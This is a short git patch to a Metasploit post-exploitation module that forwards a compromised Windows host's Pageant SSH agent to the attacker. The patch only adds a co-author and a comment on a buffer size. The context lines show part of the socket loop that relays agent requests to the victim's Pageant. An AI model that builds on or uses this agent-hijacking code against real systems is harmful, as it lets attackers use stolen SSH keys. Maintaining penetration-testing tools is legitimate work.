From fac09a6bcfef5f513b734c2ef210d16ad6f5b574 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Tue, 19 May 2015 14:46:44 +0100 Subject: [PATCH] Added a clarification comment --- modules/post/windows/manage/forward_pageant.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/manage/forward_pageant.rb b/modules/post/windows/manage/forward_pageant.rb index c3febb766a..5ecf10df18 100644 --- a/modules/post/windows/manage/forward_pageant.rb +++ b/modules/post/windows/manage/forward_pageant.rb @@ -26,7 +26,8 @@ class Metasploit3 < Msf::Post }, 'License' => MSF_LICENSE, 'Author' => [ - 'Stuart Morgan ' + 'Stuart Morgan ', + 'Ben Campbell', ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] @@ -72,7 +73,7 @@ class Metasploit3 < Msf::Post loop do s = serv.accept loop do - socket_request_data = s.recvfrom(8192) + socket_request_data = s.recvfrom(8192) # 8192 = AGENT_MAX break if socket_request_data.nil? || socket_request_data.first.nil? || socket_request_data.first.empty? vprint_status("PageantJacker: Received data from socket (size: #{socket_request_data.first.size})") response = client.pageantjacker.forward_to_pageant(socket_request_data.first, socket_request_data.first.size)